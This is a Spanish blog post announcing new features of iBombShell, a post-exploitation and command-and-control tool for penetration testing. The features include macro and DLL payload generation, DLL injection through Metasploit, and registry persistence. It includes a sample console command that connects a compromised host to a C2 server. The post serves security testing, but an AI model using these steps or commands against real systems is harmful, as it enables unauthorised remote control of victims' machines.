De nuevo llega la hora de echar mano del proyecto
iBombShell y ver cómo está evolucionando y las novedades en las que se está trabajando, para que puedas sacar el máximo partido a tus próximos proyectos de
Ethical Hacking con esta herramienta de post-explotación. Todas las novedades se encuentran en la
rama Dev dentro del repositorio de GitHub.
 |
Figura 1: iBombShel: Últimas novedades de un proyecto creciendo |
A continuación, se irán describiendo los cambios y novedades que se han producido en nuestra herramienta durante este último periodo en el que no os hemos contado nada. Vamos a ello.
Funcionalidad ‘global’
Hasta ahora, para configurar las variables del módulo, solo existía “
set”, pero en cada cambio de módulo las variables se reiniciaban, algunas opciones se repetían entre módulos (por ejemplo,
warrior), por ello se ha agregado la posibilidad de que las opciones se guarden globalmente, el uso es muy simple:
global [opción] [valor]. Se puede ver en la imagen siguiente:
 |
Figura 2: Ejemplo de uso de 'global' [opción] [valor] |
Esta función configura la opción tanto de manera local (como haría set), como global. La ventaja, que con configurar una vez la opción nos va a valer para el futuro, permitiendo también hacer el cambio en local en determinados momentos sin afectar al resto.
Carga de instrucciones a partir de un fichero
Para lanzar iBombShell y cargar las instrucciones a través de un fichero, lo único que hay que hacer es agregar el flag -f o --file. Ejemplo de lanzamiento:
py ibombshell.py -f C:\Users\b.jeg\Documents\listener.ibs.
Se puede ver en el siguiente vídeo cómo funciona esta nueva característica en el que se lanza un conjunto de instrucciones a ejecutar secuencialmente.
Figura 3: Ejemplo de iBombShell con fichero de comandos
El fichero debe contener una instrucción por línea. En el ejemplo del vídeo se lanzan tres instrucciones secuenciales:
load, show y run.
Generaciones de código para lanzar iBombShell
Dentro de la herramienta, en la parte C2 se ha decidido agregar la posibilidad de generar códigos que permitan lanzar iBombShell. Actualmente se permite generar para cmd, Powershell, rubber, macro (ver figura siguiente) y dlls.
 |
Figura 4: Generando macro para un warrior |
A la hora de abrir un nuevo warrior a partir de una DLL los pasos que tenemos que hacer son muy sencillos, y se pueden resumir en la siguiente lista:
1. Lanzamos en iBombShell un listener.
2. Generamos la DLL con la dirección IP, puerto y arquitectura (x86 o x64).
3. Lanzamos la inyección desde Metasploit (se requiere una sesión y usar el módulo windows/manage/reflective_dll_inject), y ya tenemos acceso a la máquina objetivo desde iBombShell.
La mejor forma de entenderlo es viendo el siguiente vídeo que dejo a continuación con este mismo ejemplo. Échale un ojo.
Figura 5: PoC de generación de una DLL en IbombShell
para ejecutar un warrior desde Metasploit
En el vídeo ya se cuenta con un
meterpreter abierto en la máquina víctima porque no era el objetivo mostrar cómo conseguir la sesión. Para aprender mucho sobre eso, puedes adquirir el libro de nuestro compañero
Pablo González de
Metasploit para Pentesters [4ª Edicion] donde explica muchas formas de conseguirlo.
Guardar y cargar funciones en el registro de Windows
Está funcionalidad no es nueva, pero se ha completado, permitiendo (una vez guardadas las funciones) el uso de iBombShell en entornos sin red. El comportamiento de la herramienta se puede ver en el siguiente vídeo.
Figura 6: Cargar y Guardar configuraciones de iBombShell en el registro de Windows
Al usar la función savefunctions se guardan las funciones cargadas en memoria en el registro de Windows, posteriormente para lanzar iBombShell tiramos de el comando en Base 64 que se puede encontrar en el Github, que se encargará de comprobar el registro para ver si tiene que cargar las funciones de ahí o pasar a Internet.
Agregada posibilidad de usar Proxy
Recientemente se agrego la posibilidad de usar un proxy para iBombShell, para hacer uso de esta utilidad, basta con agregar la flag -proxy y pasarlo en el formato ‘IP:PORT’. Un ejemplo de uso a la hora de abrir un warrior es ejecutar el siguiente comando:
console -Silently -proxt 127.0.0.1:8000 -uriConsole http://192.168.56.101:8080
Colaboración iBombShell C2 en .Net
 |
Figura 7: Interfaz de iBombShell C2 en .NET |
Las respuestas que generan todos los Warriors que están conectados se van almacenando en el log, que se puede consultar en todo momento, tal y como se ve en la imagen siguiente.
 |
Figura 8: Log de las respuestas de los warriors |
Un gran trabajo, desde aquí mandar la enhorabuena a Gaizka y animarle a seguir aprendiendo y trabajando así de duro. Toda colaboración de la comunidad es bienvenida, tanto en forma de desarrollo + pull-requests, como ideas o reporte de bugs.
A parte de todo lo contado en el artículo se han agregado módulos para obtener las DLLs del sistema y nuevos banners.
Más Referencias